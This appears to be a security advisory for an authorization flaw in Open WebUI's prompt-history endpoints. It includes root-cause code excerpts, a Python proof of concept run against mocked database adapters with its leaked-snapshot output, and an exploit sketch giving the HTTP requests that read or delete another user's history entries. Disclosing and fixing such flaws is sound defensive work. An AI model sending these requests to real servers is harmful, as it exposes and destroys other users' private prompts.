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Open WebUI Prompt history IDOR: unbound history_id allows cross-prompt read and deletion

CVE-2026-54015 · 2026-06-17 moderate

Class
AI Framework and Platform Flaws (filed by a model that read the source)
Technique
Authentication and access control
Also involves
Sensitive Data Disclosure
Affected
open-webui (PyPI)
Gets past
Authorisation check
CVSS
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:L
EPSS
0.3% chance of exploitation in 30 days

How it works, in short

The prompt history endpoints check the parent prompt but not that the supplied history entry belongs to it, so another user's history can be read or deleted. (Our summary, written by a model. The source text is below.)

Details

Summary

Open WebUI's prompt version-history endpoints authorize the prompt_id in the URL but then act on caller-supplied history IDs without verifying that the history row belongs to that prompt (history_entry.prompt_id == prompt.id). Three operations are affected:

An authenticated user with access to any prompt they control, plus a victim prompt_history.id, can read or delete another user's private prompt history. The single-entry read endpoint (GET .../history/{history_id}) already enforces the binding; these three did not.

Impact

Security boundary crossed: prompt confidentiality and integrity.

Prompt history snapshots can contain private prompt text, internal instructions, and sensitive variables. With a known victim prompt_history.id, an attacker can read another user's snapshot (via the diff endpoint or by restoring it into their own prompt) and delete another user's history entry. The active prompt row is not destroyed; the delete impact is against version history. Exploitation requires knowing or obtaining victim history UUIDs, so severity depends on adjacent ID exposure.

Root Cause

The route checks read access only for prompt_id:

# backend/open_webui/routers/prompts.py
prompt = await Prompts.get_prompt_by_id(prompt_id, db=db)
...
if not (
    user.role == 'admin'
    or prompt.user_id == user.id
    or await AccessGrants.has_access(
        user_id=user.id,
        resource_type='prompt',
        resource_id=prompt.id,
        permission='read',
        db=db,
    )
):
    raise HTTPException(...)

But the authorized prompt ID is not passed into the diff sink:

# backend/open_webui/routers/prompts.py
diff = await PromptHistories.compute_diff(from_id, to_id, db=db)

compute_diff() fetches both history entries globally by ID and returns their full snapshots:

# backend/open_webui/models/prompt_history.py
result_from = await db.execute(select(PromptHistory).filter(PromptHistory.id == from_id))
from_entry = result_from.scalars().first()
result_to = await db.execute(select(PromptHistory).filter(PromptHistory.id == to_id))
to_entry = result_to.scalars().first()
...
return {
    'from_snapshot': from_snapshot,
    'to_snapshot': to_snapshot,
    ...
}

There is no check that from_entry.prompt_id == prompt_id or to_entry.prompt_id == prompt_id.

The same missing binding affects two further endpoints. POST .../update/version restores a snapshot fetched globally by version_id:

# backend/open_webui/models/prompts.py — update_prompt_version
history_entry = await PromptHistories.get_history_entry_by_id(version_id, db=session)
...
prompt.content = snapshot.get('content', prompt.content)   # foreign snapshot copied into caller's prompt
prompt.version_id = version_id

DELETE .../history/{history_id} deletes an entry fetched globally by history_id:

# backend/open_webui/models/prompt_history.py — delete_history_entry
result = await db.execute(select(PromptHistory).filter_by(id=history_id))
entry = result.scalars().first()
...
await db.delete(entry)

Neither checks entry.prompt_id == prompt.id. The single-entry read endpoint (GET .../history/{history_id}) does (history_entry.prompt_id != prompt.id → 404); these three endpoints were missing it.

PoC

#!/usr/bin/env python3
"""
PoC for prompt history diff IDOR.

The PoC executes:
  - the real routers.prompts.get_prompt_diff() route function
  - the real PromptHistories.compute_diff() implementation

Fake model/DB adapters are used only to avoid requiring a running server. The
security-sensitive behavior under test is that the route authorizes the prompt
ID in the URL, then computes a diff for arbitrary history IDs without checking
that those history rows belong to the authorized prompt.
"""

from __future__ import annotations

import asyncio
import json
import os
import sys
import types
from pathlib import Path
from types import SimpleNamespace


def prepare_imports() -> None:
    repo_root = Path(__file__).resolve().parents[1]
    sys.path.insert(0, str(repo_root / "backend"))
    os.environ["VECTOR_DB"] = "none"

    class DummyTyper:
        def command(self, *args, **kwargs):
            return lambda fn: fn

    sys.modules.setdefault(
        "typer",
        types.SimpleNamespace(
            Typer=lambda *args, **kwargs: DummyTyper(),
            Option=lambda *args, **kwargs: None,
            echo=lambda *args, **kwargs: None,
            Exit=Exception,
        ),
    )
    sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None))


class FakeScalarResult:
    def __init__(self, row):
        self.row = row

    def first(self):
        return self.row


class FakeExecuteResult:
    def __init__(self, row):
        self.row = row

    def scalars(self):
        return FakeScalarResult(self.row)


class FakePromptHistoryDb:
    def __init__(self, rows):
        self.rows = rows
        self.calls = 0

    async def execute(self, stmt):
        row = self.rows[self.calls]
        self.calls += 1
        return FakeExecuteResult(row)


class FakeDbContext:
    def __init__(self, db):
        self.db = db

    async def __aenter__(self):
        return self.db

    async def __aexit__(self, exc_type, exc, tb):
        return False


async def run_real_compute_diff(from_id: str, to_id: str):
    import open_webui.models.prompt_history as history_module

    victim_from = SimpleNamespace(
        id=from_id,
        prompt_id="victim-prompt",
        snapshot={
            "name": "Victim Prompt",
            "command": "/victim",
            "content": "PRIVATE_PROMPT_SECRET_V1",
        },
    )
    victim_to = SimpleNamespace(
        id=to_id,
        prompt_id="victim-prompt",
        snapshot={
            "name": "Victim Prompt",
            "command": "/victim",
            "content": "PRIVATE_PROMPT_SECRET_V2",
        },
    )

    fake_db = FakePromptHistoryDb([victim_from, victim_to])
    original_context = history_module.get_async_db_context
    try:
        history_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)
        diff = await history_module.PromptHistories.compute_diff(from_id, to_id)
    finally:
        history_module.get_async_db_context = original_context

    return diff


async def main() -> None:
    prepare_imports()

    import open_webui.routers.prompts as prompts_router

    attacker_prompt = SimpleNamespace(
        id="attacker-prompt",
        user_id="attacker",
    )
    attacker = SimpleNamespace(id="attacker", role="user")
    victim_from_id = "victim-history-from"
    victim_to_id = "victim-history-to"

    class FakePrompts:
        looked_up_prompt_ids = []

        async def get_prompt_by_id(self, prompt_id, db=None):
            self.looked_up_prompt_ids.append(prompt_id)
            if prompt_id == "attacker-prompt":
                return attacker_prompt
            return None

    class FakeAccessGrants:
        async def has_access(self, *args, **kwargs):
            return False

    class FakePromptHistories:
        compute_diff_calls = []

        async def compute_diff(self, from_id, to_id, db=None):
            self.compute_diff_calls.append(
                {
                    "from_id": from_id,
                    "to_id": to_id,
                    "authorized_prompt_id_not_passed": True,
                }
            )
            return await run_real_compute_diff(from_id, to_id)

    fake_prompts = FakePrompts()
    fake_histories = FakePromptHistories()

    original = {
        "Prompts": prompts_router.Prompts,
        "AccessGrants": prompts_router.AccessGrants,
        "PromptHistories": prompts_router.PromptHistories,
    }
    try:
        prompts_router.Prompts = fake_prompts
        prompts_router.AccessGrants = FakeAccessGrants()
        prompts_router.PromptHistories = fake_histories

        diff = await prompts_router.get_prompt_diff(
            prompt_id="attacker-prompt",
            from_id=victim_from_id,
            to_id=victim_to_id,
            user=attacker,
            db=None,
        )
    finally:
        for name, value in original.items():
            setattr(prompts_router, name, value)

    result = {
        "confirmed": (
            diff.get("from_snapshot", {}).get("content") == "PRIVATE_PROMPT_SECRET_V1"
            and diff.get("to_snapshot", {}).get("content") == "PRIVATE_PROMPT_SECRET_V2"
            and fake_prompts.looked_up_prompt_ids == ["attacker-prompt"]
            and fake_histories.compute_diff_calls
            and fake_histories.compute_diff_calls[0]["authorized_prompt_id_not_passed"] is True
        ),
        "attacker_user_id": "attacker",
        "authorized_prompt_id": "attacker-prompt",
        "victim_prompt_id": "victim-prompt",
        "victim_history_ids": [victim_from_id, victim_to_id],
        "prompt_ids_authorized_by_route": fake_prompts.looked_up_prompt_ids,
        "compute_diff_calls": fake_histories.compute_diff_calls,
        "leaked_from_snapshot": diff.get("from_snapshot"),
        "leaked_to_snapshot": diff.get("to_snapshot"),
        "source": {
            "route": "backend/open_webui/routers/prompts.py:get_prompt_diff",
            "sink": "backend/open_webui/models/prompt_history.py:PromptHistories.compute_diff",
        },
    }
    print(json.dumps(result, indent=2, sort_keys=True))
    if not result["confirmed"]:
        raise SystemExit(1)


if __name__ == "__main__":
    asyncio.run(main())

The PoC executes the real route function and the real PromptHistories.compute_diff() implementation with fake model/DB adapters. It authorizes the attacker against attacker-prompt, then supplies two victim history IDs. The route returns the victim prompt snapshots.

Result:

{
  "attacker_user_id": "attacker",
  "authorized_prompt_id": "attacker-prompt",
  "confirmed": true,
  "leaked_from_snapshot": {
    "command": "/victim",
    "content": "PRIVATE_PROMPT_SECRET_V1",
    "name": "Victim Prompt"
  },
  "leaked_to_snapshot": {
    "command": "/victim",
    "content": "PRIVATE_PROMPT_SECRET_V2",
    "name": "Victim Prompt"
  },
  "prompt_ids_authorized_by_route": [
    "attacker-prompt"
  ],
  "victim_history_ids": [
    "victim-history-from",
    "victim-history-to"
  ],
  "victim_prompt_id": "victim-prompt"
}

Exploit Sketch

Read via the diff endpoint:

GET /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/diff?from_id=VICTIM_FROM_HISTORY_ID&to_id=VICTIM_TO_HISTORY_ID

Read via restore (update/version): the attacker POSTs {"version_id": "VICTIM_HISTORY_ID"} to their own prompt's update/version, then GETs their prompt; it now holds the victim snapshot's name/content/data/meta/tags.

Delete: the attacker sends DELETE /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/VICTIM_HISTORY_ID; the victim history entry is removed.

Recommended Fix

Bind every prompt-history operation to the authorized prompt before acting on a history ID, mirroring the single-entry read endpoint:

Return 404/403 on mismatch.

Consolidation

Per our Report Handling policy this consolidates independent reports of the same prompt-history authorization flaw (one missing history_entry.prompt_id == prompt.id binding) reached through different endpoints:

One CVE for the consolidated advisory.

References

Source: GitHub Advisory Database, used under CC BY 4.0.